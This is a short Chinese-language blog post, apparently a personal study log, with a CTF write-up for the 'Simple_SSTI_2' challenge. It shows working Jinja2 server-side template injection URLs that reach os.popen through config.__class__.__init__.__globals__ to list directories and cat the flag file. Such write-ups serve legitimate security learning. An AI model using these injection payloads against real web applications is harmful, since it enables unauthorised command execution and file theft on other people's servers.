2022年3月24日学习记录

Simple_SSTI_2的write up

1.打开题目先看源码

得到提示我们要进行模板注入

2.首先进行文件搜索,在网址后面加上/?flag={{config}}

 

没看到什么特殊之处

3、利用ls看存在文件

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
##__init__             初始化类,返回的类型是function
##__globals__[]          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象

得到文件目录提示

存在一堆文件夹

发现进去以后第一个文件就有flag

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
#根据URL转换表,%20 -> 空格 %27 -> '

接下来直接打开就行了,没有对cat进行过滤

 

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

 

posted @ 2022-03-24 22:22  heartBroken  阅读(39)  评论(0编辑  收藏  举报